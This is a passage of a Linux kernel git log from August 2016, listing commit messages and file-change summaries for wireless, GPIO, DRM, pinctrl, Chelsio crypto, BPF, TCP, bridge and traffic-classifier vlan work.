changed, 561 insertions(+), 79 deletions(-) commit a5d268277ad566cbcf53a2e6f05fd6db81a61c41 Author: Eduardo Abinader Date: Thu Aug 18 16:52:09 2016 +0300 ath9k: consider return code on just to comply with current ath9k_hw_nvram_read to return value, hence behaving reacting accordingly. Signed-off-by: Eduardo Abinader Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath9k/ar9003_eeprom.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 4c51e7db87b753ce16c35ed0111eb273fe1a5135 Author: Bob Copeland Date: Thu Aug 18 16:52:08 2016 +0300 ath9k: fix misleading indent Fixes smatch warning: ath9k_vif_iter_set_beacon() warn if statement not indented Signed-off-by: Bob Copeland Reviewed-by: Julian Calaby Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath9k/main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9c6686322d749814e3e7af492954ca1777444023 Author: Lucile Quirion Date: Fri Aug 12 11:16:49 2016 -0400 gpio: add Technologic I2C-FPGA gpio support This driver is generic and aims to support all Technologic Systems's boards embedding FPGA GPIOs with an I2C interface. This driver supports TS-4900, TS-7970, TS-7990 and TS-4100 series. Signed-off-by: Lucile Quirion Signed-off-by: Linus Walleij drivers/gpio/Kconfig | 7 ++ drivers/gpio/Makefile | 1 + drivers/gpio/gpio-ts4900.c | 190 +++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 198 insertions(+) commit 4cebaf17ecde6d3f78513932ab239af922750e09 Author: Lucile Quirion Date: Fri Aug 12 11:16:48 2016 -0400 gpio: add bindings for Technologic I2C-FPGA gpio controller Device tree binding documentation for Technologic's I2C-FPGA GPIO controller. Signed-off-by: Lucile Quirion [Quirked in a reference to gpio.txt] Signed-off-by: Linus Walleij .../devicetree/bindings/gpio/gpio-ts4900.txt | 30 ++++++++++++++++++++++ 1 file changed, 30 insertions(+) commit 420382adf64c93d2fc83b764013103c6035d8617 Author: Laurent Pinchart Date: Fri Aug 19 11:39:29 2016 +0300 drm: Don't implement empty prepare_fb()/cleanup_fb() The plane .prepare_fb() and .cleanup_fb() helpers are optional, there's no need to implement empty stubs, and no need to explicitly set the function pointers to NULL either. Signed-off-by: Laurent Pinchart [danvet: Resolved conflicts with Chris' patch.] Signed-off-by: Daniel Vetter drivers/gpu/drm/arc/arcpgu_crtc.c | 2 -- drivers/gpu/drm/fsl-dcu/fsl_dcu_drm_plane.c | 15 --------------- drivers/gpu/drm/hisilicon/kirin/kirin_drm_ade.c | 15 --------------- drivers/gpu/drm/tegra/dc.c | 17 ----------------- drivers/gpu/drm/vc4/vc4_plane.c | 2 -- 5 files changed, 51 deletions(-) commit 7ad61e6b4a79c5057eeb2d6062b0021e33ddc9f6 Author: Markus Elfring Date: Thu Aug 18 22:35:14 2016 +0200 virtio-gpu: Use memdup_user() rather than duplicating its implementation Reuse existing functionality from memdup_user() instead of keeping duplicate source code. This issue was detected by using the Coccinelle software. Signed-off-by: Markus Elfring Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/401e68fc-5515-7a7a-be2e-503dee676b34@users.sourceforge.net drivers/gpu/drm/virtio/virtgpu_ioctl.c | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) commit a6e3918bcdb1253083f962d747ec699bdb4bacd9 Author: Markus Elfring Date: Thu Aug 18 18:12:03 2016 +0200 GPU-DRM-Savage: Use memdup_user() rather than duplicating Reuse existing functionality from memdup_user() instead of keeping duplicate source code. This issue was detected by using the Coccinelle software. Signed-off-by: Markus Elfring Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/021efa32-c259-e799-a80e-630972291815@users.sourceforge.net drivers/gpu/drm/savage/savage_state.c | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) commit 1832040d010ecf41671104259f51f6368fcfcb5b Author: Chris Wilson Date: Thu Aug 18 19:00:16 2016 +0100 drm: Allow drivers to modify plane_state in prepare_fb/cleanup_fb The drivers have to modify the atomic plane state during the prepare_fb callback so they track allocations, reservations and dependencies for this atomic operation involving this fb. In particular, how else do we set the plane->fence from the framebuffer! Signed-off-by: Chris Wilson Cc: Daniel Vetter Cc: dri-devel@lists.freedesktop.org Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160818180017.20508-1-chris@chris-wilson.co.uk drivers/gpu/drm/atmel-hlcdc/atmel_hlcdc_plane.c | 4 ++-- drivers/gpu/drm/fsl-dcu/fsl_dcu_drm_plane.c | 4 ++-- drivers/gpu/drm/hisilicon/kirin/kirin_drm_ade.c | 4 ++-- drivers/gpu/drm/i915/intel_display.c | 4 ++-- drivers/gpu/drm/i915/intel_drv.h | 4 ++-- drivers/gpu/drm/msm/mdp/mdp4/mdp4_plane.c | 4 ++-- drivers/gpu/drm/msm/mdp/mdp5/mdp5_plane.c | 4 ++-- drivers/gpu/drm/omapdrm/omap_plane.c | 4 ++-- drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 4 ++-- drivers/gpu/drm/tegra/dc.c | 4 ++-- include/drm/drm_modeset_helper_vtables.h | 4 ++-- 11 files changed, 22 insertions(+), 22 deletions(-) commit ccb3611f5ac7db5e350a00e80d1b64d87789c984 Author: Andrew F. Davis Date: Thu Aug 11 13:40:13 2016 -0500 gpio: dt-bindings: remove ti,tps65086-gpio binding This binding is no longer correct, the GPIO information can should be added to the parent node and not into this child node. See Documentation/devicetree/bindings/mfd/tps65086.txt for the correct usage. Signed-off-by: Andrew F. Davis Signed-off-by: Linus Walleij Documentation/devicetree/bindings/gpio/gpio-tps65086.txt | 16 ---------------- 1 file changed, 16 deletions(-) commit acf06ff76cb94dd98ba1fa74e63a8ee578673a83 Author: Masahiro Yamada Date: Fri Aug 12 01:21:58 2016 +0900 gpio: refactor gpiochip_find() slightly The if...else... block after the loop can be dropped with a slight refactoring. Signed-off-by: Masahiro Yamada Signed-off-by: Linus Walleij drivers/gpio/gpiolib.c | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) commit be67e7e54bb1c22e396285bd7b4721786cba1209 Author: Johan Hovold Date: Fri Aug 19 09:42:21 2016 +0200 greybus: svc: drop unnecessary symbol exports The svc functions are only supposed to be called by core and should not be exported. Most of these functions should never have been exported in the first place, while a few no longer needs to be (e.g. since core gained support for offloaded connections). The only remaining exception is gb_svc_intf_set_power_mode() which is needed by the camera driver until proper link management is in place. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 11 ----------- 1 file changed, 11 deletions(-) commit 4e09508a8912b8d2183240bdda14e2e48b4e3176 Author: Takeshi Kihara Date: Wed Aug 17 13:31:50 2016 +0200 clk: renesas: r8a7796: Add GPIO clocks Add GPIO clocks for the R8A7796 SoC. Signed-off-by: Takeshi Kihara Signed-off-by: Simon Horman Signed-off-by: Geert Uytterhoeven drivers/clk/renesas/r8a7796-cpg-mssr.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 374cf6992de89fc38d4d923c89b40816d341d678 Author: Takeshi Kihara Date: Wed Aug 17 13:31:52 2016 +0200 pinctrl: sh-pfc: r8a7796: Add SDHI pins, groups and functions This patch adds SDHI pins, groups and functions to R8A7796 SoC. Signed-off-by: Takeshi Kihara Signed-off-by: Simon Horman Signed-off-by: Geert Uytterhoeven drivers/pinctrl/sh-pfc/pfc-r8a7796.c | 275 +++++++++++++++++++++++++++++++++++ 1 file changed, 275 insertions(+) commit fc43d8b21754186dd1cd13d44f4721c2139e8068 Author: Takeshi Kihara Date: Thu Aug 18 15:12:33 2016 +0200 pinctrl: sh-pfc: r8a7796: Add SCIF pins, groups and functions This patch adds SCIF{0,1,2,3,4,5} pins, groups and functions to R8A7796 SoC. Signed-off-by: Takeshi Kihara Signed-off-by: Geert Uytterhoeven drivers/pinctrl/sh-pfc/pfc-r8a7796.c | 300 +++++++++++++++++++++++++++++++++++ 1 file changed, 300 insertions(+) commit f9aece7344bd81ce16bafc15f8e90ef0dbd18714 Author: Takeshi Kihara Date: Thu Aug 18 15:12:32 2016 +0200 pinctrl: sh-pfc: Initial R8A7796 PFC support This patch adds initial pinctrl driver to support for the R8A7796 SoC. Signed-off-by: Takeshi Kihara [uli: rebased on top of renesas-drivers] Signed-off-by: Ulrich Hecht Signed-off-by: Geert Uytterhoeven .../bindings/pinctrl/renesas,pfc-pinctrl.txt | 1 + drivers/pinctrl/sh-pfc/Kconfig | 5 + drivers/pinctrl/sh-pfc/Makefile | 1 + drivers/pinctrl/sh-pfc/core.c | 6 + drivers/pinctrl/sh-pfc/pfc-r8a7796.c | 2072 ++++++++++++++++++++ drivers/pinctrl/sh-pfc/sh_pfc.h | 1 + 6 files changed, 2086 insertions(+) commit 363dc396a5030ca82aa3e1a55b7d72965f968849 Merge: b65b24d 02038fd Author: David S. Miller Date: Fri Aug 19 00:00:45 2016 -0700 Merge branch 'cxgb-crypto' Hariprasad Shenai says: ==================== crypto/chcr: Add support for Chelsio Crypto Driver This patch series adds support for Chelsio Crypto driver. The patch series has been created against net-next tree and includes patches for Chelsio Low Level Driver(cxgb4) and adds the new crypto Upper Layer Driver(chcr) under a new directory drivers/crypto/chelsio. Patch 1/4 ("cxgb4: Add support for dynamic allocation of resources for ULD") adds support for dynamic allocation of resources for ULD. The objective of this patch is to provide generic interface for upper layer drivers to allocate and initialize hardware resources. The present cxgb4 (network driver) apart from network functionality, also initializes hardware and thus acts as lower layer driver for other drivers to use hardware resources. Thus it acts as both a Low level driver for Upper layer driver's like iw_cxgb4, cxgb4i and cxgb4it and a Network Driver. Right now the allocation of resources for Upper layer driver's is done statically. Patch 1/4 adds a new infrastructure for dynamic allocation of resources. cxgb4 will read the hardware capability through firmware and allocate/free the queues for Upper layer drivers when the respective driver's are loaded and freed when unloaded. Patch 2/3, 3/4 and 4/4 adds support for Chelsio Crypto Driver. The Crypto driver will act as another ULD on top of cxgb4. In this patch series, the ULD API framework is used only by crypto and other ULD's will make use of it in the next series. This patch series is only for review, if this looks ok we will test it thoroughly and send request for merge. We have included all the maintainers of respective drivers. Kindly review the changes and provide feedback on the same. V3: - Removed crypto queues from cxgb4 and added support for dynamic allocation of resources for Upper layer drivers - Dependency fix in Kconfig. V2: - Some residual code cleanup - Adds pr_fmt with chcr (KBUILD_MODNAME) added - Changes var name to accomodate them <80 columns in the chcr_register_alg - Support for printing the crypto queue stats - Fix compile warnings reported by kbuild bot for certain architectures - Dependency fix in Kconfig. - If the request has the MAY_BACKLOG bit set and hardware queue is full the request is queued up else -EBUSY is returned to throttle the user. The queue when executed and processed returns -EINPROGRESS in completion. ==================== Signed-off-by: David S. Miller commit 02038fd6645a08df1d3b37c12a065940b15ed4fe Author: Hariprasad Shenai Date: Wed Aug 17 12:33:06 2016 +0530 crypto: Added Chelsio Menu to the Kconfig file Adds the config entry for the Chelsio Crypto Driver, Makefile changes for the same. Signed-off-by: Atul Gupta Signed-off-by: Hariprasad Shenai Signed-off-by: David S. Miller drivers/crypto/Kconfig | 2 ++ drivers/crypto/Makefile | 1 + drivers/crypto/chelsio/Kconfig | 19 +++++++++++++++++++ drivers/crypto/chelsio/Makefile | 4 ++++ 4 files changed, 26 insertions(+) commit 324429d74127d0cc8a1a42d20035f8f986149ec4 Author: Hariprasad Shenai Date: Wed Aug 17 12:33:05 2016 +0530 chcr: Support for Chelsio's Crypto Hardware The Chelsio's Crypto Hardware can perform the following operations: SHA1, SHA224, SHA256, SHA384 and SHA512, HMAC(SHA1), HMAC(SHA224), HMAC(SHA256), HMAC(SHA384), HAMC(SHA512), AES-128-CBC, AES-192-CBC, AES-256-CBC, AES-128-XTS, AES-256-XTS This patch implements the driver for above mentioned features. This driver is an Upper Layer Driver which is attached to Chelsio's LLD (cxgb4) and uses the queue allocated by the LLD for sending the crypto requests to the Hardware and receiving the responses from it. The crypto operations can be performed by Chelsio's hardware from the userspace applications and/or from within the kernel space using the kernel's crypto API. The above mentioned crypto features have been tested using kernel's tests mentioned in testmgr.h. They also have been tested from user space using libkcapi and Openssl. Signed-off-by: Atul Gupta Signed-off-by: Hariprasad Shenai Acked-by: Herbert Xu Signed-off-by: David S. Miller drivers/crypto/chelsio/chcr_algo.c | 1525 ++++++++++++++++++++++++++++++++++ drivers/crypto/chelsio/chcr_algo.h | 471 +++++++++++ drivers/crypto/chelsio/chcr_core.c | 240 ++++++ drivers/crypto/chelsio/chcr_core.h | 80 ++ drivers/crypto/chelsio/chcr_crypto.h | 203 +++++ 5 files changed, 2519 insertions(+) commit d6657781b5a9d2e2c72da1af0d185899b2d7e2f1 Author: Hariprasad Shenai Date: Wed Aug 17 12:33:04 2016 +0530 cxgb4: Register changes and fw defines for crypto Signed-off-by: Atul Gupta Signed-off-by: Hariprasad Shenai Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/t4_msg.h | 437 ++++++++++++++++++++++++++ drivers/net/ethernet/chelsio/cxgb4/t4fw_api.h | 124 ++++++++ 2 files changed, 561 insertions(+) commit 94cdb8bb993a2303d6172b28cbd2b48245b9b8a3 Author: Hariprasad Shenai Date: Wed Aug 17 12:33:03 2016 +0530 cxgb4: Add support for dynamic allocation of resources for ULD Add a new commmon infrastructure to allocate reosurces dynamically to Upper layer driver's(ULD) when they register with cxgb4 driver and free them during unregistering. All the queues and the interrupts for them will be allocated during ULD probe only and freed during remove. Signed-off-by: Atul Gupta Signed-off-by: Hariprasad Shenai Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/Makefile | 2 +- drivers/net/ethernet/chelsio/cxgb4/cxgb4.h | 59 ++- drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c | 153 +++++-- drivers/net/ethernet/chelsio/cxgb4/cxgb4_uld.c | 555 ++++++++++++++++++++++++ drivers/net/ethernet/chelsio/cxgb4/cxgb4_uld.h | 34 +- drivers/net/ethernet/chelsio/cxgb4/sge.c | 4 +- drivers/net/ethernet/chelsio/cxgb4/t4fw_api.h | 2 +- 7 files changed, 759 insertions(+), 50 deletions(-) commit b65b24d42f0a3da68085433f1102c0ac6aa3cebe Author: LABBE Corentin Date: Wed Aug 17 15:56:45 2016 +0200 atm: fore200e: Do not drop const qualifier The data member of structure firmware is const and this constness is dropped by some cast. This patch add some const for keeping the const information. Signed-off-by: LABBE Corentin Signed-off-by: David S. Miller drivers/atm/fore200e.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit f1c89c033fe654d565db3866fc0f897eab2ff9c0 Merge: b340402 54fd9c2 Author: David S. Miller Date: Thu Aug 18 23:38:17 2016 -0700 Merge branch 'bpf-next' Daniel Borkmann says: ==================== BPF helper improvements and cleanups This set adds various improvements to BPF helpers, a cleanup to use skb_pkt_type_ok() helper, addition of bpf_skb_change_tail(), a follow up for event output helper and removing ifdefs around the cgroupv2 helper bits. For details please see individual patches. The set is based against net-next tree, but requires a merge of net into net-next first. Thanks a lot! ==================== Signed-off-by: David S. Miller commit 54fd9c2dff144ed287ab3b8189dcdcd4d298d0cc Author: Daniel Borkmann Date: Thu Aug 18 01:00:41 2016 +0200 bpf: get rid of cgroup helper related ifdefs As recently discussed during the task_under_cgroup_hierarchy() addition, we should get rid of the ifdefs surrounding the bpf_skb_under_cgroup() helper. If related functionality is not built-in, the helper cannot be used anyway, which is also in line with what we do for all other helpers. Signed-off-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller include/net/sock.h | 10 ++++++++++ net/core/filter.c | 6 +----- 2 files changed, 11 insertions(+), 5 deletions(-) commit 4de16969523c15fb53cf8945dfc6b495d01d1512 Author: Daniel Borkmann Date: Thu Aug 18 01:00:40 2016 +0200 bpf: enable event output helper also for xdp types Follow-up to 555c8a8623a3 ("bpf: avoid stack copy and use skb ctx for event output") for also adding the event output helper for XDP typed programs. The event output helper has been very useful in particular for debugging or event notification purposes, since it's much faster and flexible than regular trace printk due to programmatically being able to attach meta data. Same flags structure applies as with tc BPF programs. Signed-off-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller net/core/filter.c | 42 +++++++++++++++++++++++++++++++++++++++++- 1 file changed, 41 insertions(+), 1 deletion(-) commit 5293efe62df81908f2e90c9820c7edcc8e61f5e9 Author: Daniel Borkmann Date: Thu Aug 18 01:00:39 2016 +0200 bpf: add bpf_skb_change_tail helper This work adds a bpf_skb_change_tail() helper for tc BPF programs. The basic idea is to expand or shrink the skb in a controlled manner. The eBPF program can then rewrite the rest via helpers like bpf_skb_store_bytes(), bpf_lX_csum_replace() and others rather than passing a raw buffer for writing here. bpf_skb_change_tail() is really a slow path helper and intended for replies with f.e. ICMP control messages. Concept is similar to other helpers like bpf_skb_change_proto() helper to keep the helper without protocol specifics and let the BPF program mangle the remaining parts. A flags field has been added and is reserved for now should we extend the helper in future. Signed-off-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller include/linux/skbuff.h | 43 +++++++++++++++++++- include/uapi/linux/bpf.h | 11 ++++++ net/core/filter.c | 100 +++++++++++++++++++++++++++++++++++++++++++++-- 3 files changed, 150 insertions(+), 4 deletions(-) commit 45c7fffaf72e77baab9fd8ff1655540a1d5bac9f Author: Daniel Borkmann Date: Thu Aug 18 01:00:38 2016 +0200 bpf: use skb_pkt_type_ok helper in bpf_skb_change_type Since we have a skb_pkt_type_ok() helper for checking the type before mangling, make use of it instead of open coding. Follow-up to commit 8b10cab64c13 ("net: simplify and make pkt_type_ok() available for other users") that came in after d2485c4242a8 ("bpf: add bpf_skb_change_type helper"). Signed-off-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller net/core/filter.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit b34040227be7da760cc72ef3c807e0985e7f0f16 Author: Richard Alpe Date: Thu Aug 18 10:33:52 2016 +0200 tipc: add peer removal functionality Add TIPC_NL_PEER_REMOVE netlink command. This command can remove an offline peer node from the internal data structures. This will be supported by the tipc user space tool in iproute2. Signed-off-by: Richard Alpe Reviewed-by: Jon Maloy Acked-by: Ying Xue Signed-off-by: David S. Miller include/uapi/linux/tipc_netlink.h | 1 + net/tipc/net.h | 2 ++ net/tipc/netlink.c | 5 ++++ net/tipc/node.c | 63 +++++++++++++++++++++++++++++++++++++++ net/tipc/node.h | 1 + 5 files changed, 72 insertions(+) commit 36a6503feddadbbad415fb3891e80f94c10a9b21 Author: Eric Dumazet Date: Wed Aug 17 14:17:09 2016 -0700 tcp: refine tcp_prune_ofo_queue() to not drop all packets Over the years, TCP BDP has increased a lot, and is typically in the order of ~10 Mbytes with help of clever Congestion Control modules. In presence of packet losses, TCP stores incoming packets into an out of order queue, and number of skbs sitting there waiting for the missing packets to be received can match the BDP (~10 Mbytes) In some cases, TCP needs to make room for incoming skbs, and current strategy can simply remove all skbs in the out of order queue as a last resort, incurring a huge penalty, both for receiver and sender. Unfortunately these 'last resort events' are quite frequent, forcing sender to send all packets again, stalling the flow and wasting a lot of resources. This patch cleans only a part of the out of order queue in order to meet the memory constraints. Signed-off-by: Eric Dumazet Cc: Neal Cardwell Cc: Yuchung Cheng Cc: Soheil Hassas Yeganeh Cc: C. Stephen Gun Cc: Van Jacobson Acked-by: Soheil Hassas Yeganeh Acked-by: Yuchung Cheng Acked-by: Neal Cardwell Signed-off-by: David S. Miller net/ipv4/tcp_input.c | 47 ++++++++++++++++++++++++++++------------------- 1 file changed, 28 insertions(+), 19 deletions(-) commit e2d8f646c79f26e094bfaf9b21be614d1e148a67 Author: Rafał Miłecki Date: Wed Aug 17 23:11:52 2016 +0200 net: bgmac: make it clear when setting interface type to RMII It doesn't really change anything as BGMAC_CHIPCTL_1_IF_TYPE_RMII is equal to 0. It make code a bit clener, so far when reading it one could think we forgot to set a proper mode. It also keeps this mode code in sync with other ones. Signed-off-by: Rafał Miłecki Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bgmac.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 1cb94db3d1bfe0075bde78fb2989f17e0a8a3936 Author: Rafał Miłecki Date: Wed Aug 17 23:00:30 2016 +0200 net: bgmac: support Ethernet core on BCM53573 SoCs BCM53573 is a new series of Broadcom's SoCs. It's based on ARM and can be found in two packages (versions): BCM53573 and BCM47189. It shares some code with the Northstar family, but also requires some new quirks. First of all there can be up to 2 Ethernet cores on this SoC. If that is the case, they are connected to two different switch ports allowing some more complex/optimized setups. It seems the second unit doesn't come fully configured and requires some IRQ quirk. Other than that only the first core is connected to the PHY. For the second one we have to register fixed PHY (similarly to the Northstar), otherwise generic PHY driver would get some invalid info. This has been successfully tested on Tenda AC9 (BCM47189B0). Signed-off-by: Rafał Miłecki Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bgmac-bcma.c | 19 ++++++++++++++++++- drivers/net/ethernet/broadcom/bgmac.c | 25 +++++++++++++++++++++++++ drivers/net/ethernet/broadcom/bgmac.h | 19 +++++++++++++++++++ include/linux/bcma/bcma.h | 3 +++ include/linux/bcma/bcma_regs.h | 1 + 5 files changed, 66 insertions(+), 1 deletion(-) commit 6b2a314f726ad6d54852446ddf599b91f806f0b5 Author: Colin Ian King Date: Wed Aug 17 18:31:35 2016 +0100 net: ethernet: nuvoton: fix spelling mistake: "aligment" -> "alignment" trivial fix to spelling mistake in dev_err message Signed-off-by: Colin Ian King Signed-off-by: David S. Miller drivers/net/ethernet/nuvoton/w90p910_ether.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c0c64c152389ad73306b9b0796357210ec6d32ee Author: Paul Durrant Date: Wed Aug 17 16:13:29 2016 +0100 xen-netback: create a debugfs node for hash information It is useful to be able to see the hash configuration when running tests. This patch adds a debugfs node for that purpose. Signed-off-by: Paul Durrant Cc: Wei Liu Acked-by: Wei Liu Signed-off-by: David S. Miller drivers/net/xen-netback/common.h | 4 +++ drivers/net/xen-netback/hash.c | 68 ++++++++++++++++++++++++++++++++++++++++ drivers/net/xen-netback/xenbus.c | 37 ++++++++++++++++++++-- 3 files changed, 107 insertions(+), 2 deletions(-) commit c7b256f998f6d00d4548090aa16fb34e005828c1 Author: Edward Cree Date: Wed Aug 17 16:00:10 2016 +0100 sfc: avoid division by zero The division is already being done properly in efx_ef10_get_timer_config which returns zero-on-success, unlike the old efx_ef10_get_sysclk_freq. Fixes: d95e329a55ba ("sfc: get timer configuration from adapter") Signed-off-by: Edward Cree Signed-off-by: David S. Miller drivers/net/ethernet/sfc/ef10.c | 1 - 1 file changed, 1 deletion(-) commit dca0aaf8472f15836a68bbed8a0ef9ea39e783aa Author: Eric Dumazet Date: Wed Aug 17 07:48:36 2016 -0700 tcp: defer sacked assignment While chasing tcp_xmit_retransmit_queue() kasan issue, I found that we could avoid reading sacked field of skb that we wont send, possibly removing one cache line miss. Very minor change in slow path, but why not ? ;) Signed-off-by: Eric Dumazet Acked-by: Neal Cardwell Signed-off-by: David S. Miller net/ipv4/tcp_output.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 53e43f3905f44366acbb5ff6f295d64996fbf6a3 Merge: fb36938 61ba1a2 Author: David S. Miller Date: Thu Aug 18 23:18:42 2016 -0700 Merge branch 'bridge-vlan-stats-with-flags' Nikolay Aleksandrov says: ==================== net: bridge: export vlan stats per-port with flags This set adds the ability to export vlan stats per-port. Patch 01 makes that possible by consolidating the bridge and port linkxstats calls. Then patch 02 allows to dump the vlan entry flags in order to be able to distinguish between bridge and port vlan entries when dumping the master device vlan stats. That is needed because that call was implemented when the stats API didn't have slave dumping capabilities and it dumps all vlan stats (for both bridge and port entries). We also need it in order to print the vlan flags when dumping the stats. ==================== Signed-off-by: David S. Miller commit 61ba1a2da9693b88bf5f2bb8e7a99a29cd139122 Author: Nikolay Aleksandrov Date: Wed Aug 17 12:53:10 2016 +0200 net: bridge: export vlan flags with the stats Use one of the vlan xstats padding fields to export the vlan flags. This is needed in order to be able to distinguish between master (bridge) and port vlan entries in user-space when dumping the bridge vlan stats. Signed-off-by: Nikolay Aleksandrov Signed-off-by: David S. Miller include/uapi/linux/if_bridge.h | 2 +- net/bridge/br_netlink.c | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) commit d5ff8c41b5f7289aee44df817023328295bc8463 Author: Nikolay Aleksandrov Date: Wed Aug 17 12:53:09 2016 +0200 net: bridge: consolidate bridge and port linkxstats calls In the bridge driver we usually have the same function working for both port and bridge. In order to follow that logic and also avoid code duplication, consolidate the bridge_ and brport_ linkxstats calls into one since they share most of their code. As a side effect this allows us to dump the vlan stats also via the slave call which is in preparation for the upcoming per-port vlan stats and vlan flag dumping. Signed-off-by: Nikolay Aleksandrov Signed-off-by: David S. Miller net/bridge/br_netlink.c | 114 +++++++++++++++++------------------------------- 1 file changed, 39 insertions(+), 75 deletions(-) commit 5a5232d1932b5d1ca472037bc8b38c21fa0cb6f8 Author: Krzysztof Kozlowski Date: Wed Aug 17 09:34:58 2016 +0200 ARM: dts: exynos: Use stdout non-deprecated property and add serial options to Odroid XU/XU3/XU4 The "linux,stdout-path" is deprecated. Add serial options so the console can be properly configured when bootloader does not pass "console" parameter to the command line. Without options and lack of "console" in command line, the serial output dies during boot (just after probing sound, probably because of rate change). Signed-off-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas arch/arm/boot/dts/exynos5410-odroidxu.dts | 2 +- arch/arm/boot/dts/exynos5422-odroidxu3-common.dtsi | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit fb36938de4d61d7a06c08054d0a0f885a4fd2f3c Merge: 92bcdcc 956af37 Author: David S. Miller Date: Thu Aug 18 23:13:14 2016 -0700 Merge branch 'flow-dissector-vlan-tag' Hadar Hen Zion says: ==================== net_sched, flow_dissector, flower: Introduce vlan tag support This patchset introduce vlan tag support to the flower classifier and the flow dissector. In addition to adding vlan priority to act vlan. The first 2 patches are dealing with flow-dissector: - The first patch is a fix, in case the vlan was already stripped from the skb, take it from skb->vlan_tci. - The second patch adds support for vlan priority. The next 2 patches are dealing with flower: - The first patch is a fix, sets flow dissector 'used_keys' according to the mask value of each key. - The secound patch adds vlan tag support to the flower classifier, user space patches will be sent later to complete it. The last patch adds vlan priority to act vlan since only vlan id is currently supported. Changes from V1: - A new patch was added to this series "net_sched: flower: Avoid dissection of unmasked keys" - Adding u16 padding to struct flow_dissector_key_vlan - change flow_label field in struct flow_dissector_key_tags form 20 bits field to u32 - Remove 'if (v->tcfv_push_prio)' check from tcf_vlan_dump function - Add support to un-stripped vlan skb and skb with multipale vlans in __skb_flow_dissect ==================== Signed-off-by: David S. Miller commit 956af37102b515512331a03c35c958b2a1d8dd87 Author: Hadar Hen Zion Date: Wed Aug 17 13:36:14 2016 +0300 net_sched: act_vlan: Add priority option The current vlan push action supports only vid and protocol options. Add priority option. Example script that adds vlan push action with vid and priority: tc filter add dev veth0 protocol ip parent ffff: \ flower \ indev veth0 \ action vlan push id 100 priority 5 Signed-off-by: Hadar Hen Zion Acked-by: Jiri Pirko Signed-off-by: David S. Miller include/net/tc_act/tc_vlan.h | 1 + include/uapi/linux/tc_act/tc_vlan.h | 1 + net/sched/act_vlan.c | 13 +++++++++++-- 3 files changed, 13 insertions(+), 2 deletions(-) commit 9399ae9a6cb28ebac78216f715ace3b42f1c2132 Author: Hadar Hen Zion Date: Wed Aug 17 13:36:13 2016 +0300 net_sched: flower: Add vlan support Enhance flower to support 802.1Q vlan protocol classification. Currently, the supported fields are vlan_id and vlan_priority. Example: # add a flower filter with vlan id and priority classification tc filter add dev ens4f0 protocol 802.1Q parent ffff: \ flower \ indev ens4f0 \ vlan_ethtype ipv4 \ vlan_id 100 \ vlan_prio 3 \ action vlan pop Signed-off-by: Hadar Hen Zion Acked-by: Jiri Pirko Signed-off-by: David S. Miller include/uapi/linux/pkt_cls.h | 3 ++ net/sched/cls_flower.c | 70 ++++++++++++++++++++++++++++++++++++++++++-- 2 files changed, 70 insertions(+), 3 deletions(-) commit 339ba878cfb01b68de3d281ba33fd5e4c9f76546 Author: Hadar Hen Zion Date: Wed Aug 17 13:36:12 2016 +0300 net_sched: flower: Avoid dissection of unmasked keys The current flower implementation checks the mask range and set all the keys included in that range as "used_keys", even if a specific key in the range has a zero mask. This behavior can cause a false positive return value of dissector_uses_key function and unnecessary dissection in __skb_flow_dissect. This patch checks explicitly the mask of each key and "used_keys" will be set accordingly. Fixes: 77b9900ef53a ('tc: introduce Flower classifier') Signed-off-by: Hadar Hen Zion Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller net/sched/cls_flower.c | 28 +++++++++++++--------------- 1 file changed, 13 insertions(+), 15 deletions(-) commit f6a66927692e30bdc1792e7a1fc2107d4dfcf42d Author: Hadar Hen Zion Date: Wed Aug 17 13:36:11 2016 +0300 flow_dissector: Get vlan priority in addition to vlan id Add vlan priority check to the flow dissector by adding new flow dissector struct, flow_dissector_key_vlan which includes vlan tag fields. vlan_id and flow_label fields were under the same struct (flow_dissector_key_tags). It was a convenient setting since struct flow_dissector_key_tags is used by struct flow_keys and by setting vlan_id and flow_label under the same struct, we get precisely 24 or 48 bytes in flow_keys from flow_dissector_key_basic. Now, when adding vlan priority support, the code will be cleaner if flow_label and vlan tag won't be under the same struct anymore. Signed-off-by: Hadar Hen Zion Acked-by: Jiri Pirko Signed-off-by: David S. Miller include/linux/if_vlan.h | 1 + include/net/flow_dissector.h | 12 +++++++++--- net/core/flow_dissector.c | 25 ++++++++++++++++--------- 3 files changed, 26 insertions(+), 12 deletions(-) commit d5709f7ab77679d407a7687fc5ad7cc7442cc651 Author: Hadar Hen Zion Date: Wed Aug 17 13:36:10 2016 +0300 flow_dissector: For stripped vlan, get vlan info from skb->vlan_tci Early in the datapath skb_vlan_untag function is called, stripped the vlan from the skb and set 